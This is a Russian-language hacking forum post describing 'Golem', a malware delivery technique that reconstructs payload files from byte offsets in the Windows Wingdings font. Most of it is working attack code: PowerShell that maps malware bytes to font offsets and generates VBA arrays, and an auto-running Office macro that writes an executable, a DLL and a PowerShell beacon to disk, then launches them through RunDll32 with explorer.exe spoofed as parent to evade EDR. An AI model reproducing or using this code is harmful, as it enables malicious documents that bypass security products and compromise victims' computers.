Golem Malware - Малварь, который скрывается в шрифте windows

evrenur

Куратор PR
Команда форума
PR-group
Private Pickup
Регистрация
23 Янв 2019
Сообщения
1,396
Баллы
0
Общие продажи
0$
Общие покупки
0$

Введение

Подход "Living Off the Land" в хакинге заключается в выполнении вредоносных действий из легитимных бинарных файлов, уже установленных на конечной системе жертвы. Для передачи внешних файлов нет необходимости упаковывать дополнительное программное обеспечение в багаж полезной нагрузки: оно уже находится на компьютере жертвы.


Тем не менее, во многих случаях, общая атака будет следовать этим шагам:

1. Доставить файл, содержащий пэйлоад, который может содержать:

- Вредоносный код, который необходимо выполнить.

- Или

- Не вредоносный код; пэйлоад загрузит вредоносные компоненты на третьем шаге.

2. Убедить жертву выполнить полезную нагрузку

3. После этого пэйлоад:

- Выполнит вредоносные компоненты с помощью LoLBIN

- Или

- Скачает, а затем выполнит вредоносные компоненты с помощью LoLBIN



Цель
Я хотел бы получить решение, которое отвечает следующим критериям:

- Не содержит вредоносного кода

- Не загружает вредоносный код

- Выполнение вредоносного кода



Малварь, генерирующая себя из шрифтов жертвы
Во-первых, нам нужно найти компонент, который является одинаковым на каждой версии операционной системы Windows. Я искал этот святой Грааль и нашел это:


Я сравнил шрифт с многими версиями Windows, и шрифт был точно таким же. Мы могли бы достичь нашей цели с помощью этого шрифта, который является общим элементом между всеми компьютерами под Windows. Как этого добиться? Рецепт такой:

  1. Сбор байтов из нашего малваря на наш компьютере
  2. 2. Сравнение первого байта нашей вредоносной программы со шрифтом Wingdings
  3. 3. Как только мы находим один и тот же байт в шрифте, мы записываем его позицию в текстовый файл
  4. 4. Мы повторяем этот процесс, пока не найдем все байты, содержащиеся в нашем малваре, и не запишем их позиции в наш текстовый файл
  5. 5. Наша полезная нагрузка будет содержать позицию из шрифта Wingdings для каждого его байта
  6. 6. Попав на машину жертвы, пэйлоад будет строить свои вредоносные компоненты, используя байты из шрифта Wingdings
Код в PowerShell для поиска байтов в шрифте:

$Font = "C:\Windows\Fonts\wingding.ttf"
$Malware = "C:\Users\Administrator\Pictures\2.PNG"

$fontArray = Get-Content $Font -Encoding Byte -ReadCount 0
$malwareArray = Get-Content $Malware -Encoding Byte -ReadCount 0
$offsetArray = @()
foreach ($byteInMalware in $malwareArray){
$index = 0
foreach ($byteInFont in $fontArray) {
if ($byteInMalware -eq $byteInFont) {
$offsetArray += $index
break
}
$index++
}
}

Код PowerShell для создания VBA кода, который можно вставить в макрос. Этот код создаст массивы байтов, содержащие позицию байтов для построения вредоносного компонента:

$i=0
$payload = ""
$j=0
$u=1
$payDef = ""
foreach($offset in $offsetArray){

if($i -eq 30) {
$payload = $payload + ", " + $offset + " _rn"
$i=0
$j++
}
else {
if($i -eq 0) {
$payload = $payload + $offset
}
else {
$payload = $payload + ", " + $offset
}
}
if($j -eq 25) {
$payDef = $payDef + "rnFunction ccc$u()
tt$u = Array($payload)
ccc$u = tt$u
End Function"
$payload = ""
$u++
$j = 0
}
$i++
}
if($payload -ne ""){
$payDef = $payDef + "rnFunction ccc$u()
tt$u = Array($payload)
ccc$u = tt$u
End Function"
}

$payDef

Результат:


Следующий VBA код будет использовать созданный нами массив байтов для генерации вредоносных компонентов. Следующий шаг исходного кода - выбор explorer.exe как родительский процесс для RunDll32.exe (чтобы запутать продукты EDR; -)), затем выполнит вредоносные компоненты с RunDll32.exe. Это можно заменить на внедрение процессов в память, вместо записи файлов на диск. Упражнение оставлено читателю.

VBA код:

[...] --> массив байтов, содержащий положение необходимых байтов в шрифте Wingdings

Пример соединения байтов для первого вредоносного компонента

t1 = cc1
t2 = cc2
t3 = cc3
t4 = cc4
t5 = cc5
t6 = cc6
t7 = cc7
t8 = cc8
t9 = cc9
t10 = cc10
t11 = cc11
t12 = cc12
t13 = cc13
t14 = cc14
t15 = cc15
t16 = cc16
t17 = cc17
t18 = cc18

ttt = Split(Join(t1, ",") & "," & Join(t2, ",") & "," & Join(t3, ",") & "," & Join(t4, ",") & "," & Join(t5, ",") & "," & Join(t6, ",") & "," & Join(t7, ",") & "," & Join(t8, ",") & "," & Join(t9, ",") _
& "," & Join(t10, ",") & "," & Join(t11, ",") & "," & Join(t12, ",") & "," & Join(t13, ",") & "," & Join(t14, ",") & "," & Join(t15, ",") & "," & Join(t16, ",") & "," & Join(t17, ",") & "," & Join(t18, ","), ",")

[...]

Dim nb As Integer
Dim nb2 As Integer
nb = UBound(ttt) - LBound(ttt) + 1 'ttt is a joined byte array
nb2 = UBound(tt) - LBound(tt) + 1
nb3 = UBound(ttttttt) - LBound(ttttttt) + 1
Dim intFileNumber As Integer
Dim i As Integer
Dim j As Integer
Dim lngFileSize As Long
Dim lngFileSize2 As Long
Dim strBuffer As String
Dim strBuffer2 As String
Dim lngCharNumber As Long
Dim lngCharNumber2 As Long
Dim strCharacter As String * 1
Dim strCharacter2 As String * 1
Dim strFileName As String
Dim strFileName2 As String
Dim offset() As Variant

strFileName = "C:\Windows\Fonts\wingding.ttf"
intFileNumber = FreeFile
Open strFileName For Binary Access Read Shared As #intFileNumber
lngFileSize = LOF(intFileNumber)
strBuffer = Space$(lngFileSize)
Get #intFileNumber, , strBuffer
Close #intFileNumber

Dim nFileNum As Long
Dim sFilename As String
Dim ind As Long
sFilename2 = "C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary that will be use to select the parent of rundll32
sFilename = "C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will run powershell beacon from an image
sFilename3 = "C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beacon registered in an .ICO
nFileNum = FreeFile
' a loop would be better ;-)
Open sFilename2 For Binary Lock Read Write As #nFileNum
For lngCharNumber = 0 To nb - 1
ind = lngCharNumber + 1
off = ttt(lngCharNumber)
strCharacter = Mid(strBuffer, off, 1)
Put #nFileNum, ind, strCharacter
Next lngCharNumber
Close #nFileNum

nFileNum = FreeFile
Open sFilename For Binary Lock Read Write As #nFileNum
For lngCharNumber = 0 To nb2 - 1
ind = lngCharNumber + 1
off = tt(lngCharNumber)
strCharacter = Mid(strBuffer, off, 1)
Put #nFileNum, ind, strCharacter
Next lngCharNumber
Close #nFileNum

nFileNum = FreeFile
Open sFilename3 For Binary Lock Read Write As #nFileNum
For lngCharNumber = 0 To nb3 - 1
ind = lngCharNumber + 1
off = ttttttt(lngCharNumber)
strCharacter = Mid(strBuffer, off, 1)
Put #nFileNum, ind, strCharacter
Next lngCharNumber
Close #nFileNum
rr
End Sub

Sub rr()
Dim xx As String
Dim oihfasf As Object, eopuf As Object, kdj As Object
Dim oDic As Object, a() As Variant
Dim pskaf As Integer

Set oDic = CreateObject("Scripting.Dictionary")

xx = "."

Set oihfasf = GetObject("winmgmts:\\" _
& xx & "\root\CIMV2")
Set eopuf = oihfasf.ExecQuery _
("Select Name, ProcessID FROM Win32_Process", , 48)

For Each kdj In eopuf
If (kdj.Properties_("Name").Value) = "explorer.exe" Then
pskaf = (kdj.Properties_("ProcessID").Value)
End If
Next
Dim t As Date

Dim cnt As Long
Dim arr(2) As Byte

Dim xl As String
xl = "C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exe C:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -f C:\Users\Public\Documents\BEACON.ico"" " & pskafxx = "."
Set ow = GetObject("winmgmts:\\" & xx & "\Root\cimv2")
Set os = ow.Get("Win32_ProcessStartup")
Set oc = os.SpawnInstance_
Set op = GetObject("winmgmts:\\" & xx & "\root\cimv2:Win32_Process")
op.Create xl, Null, oc, aslh

End Sub
Sub AutoOpen()
cc
End Sub
Sub Workbook_Open()
cc
End Sub

Вот и все ребята!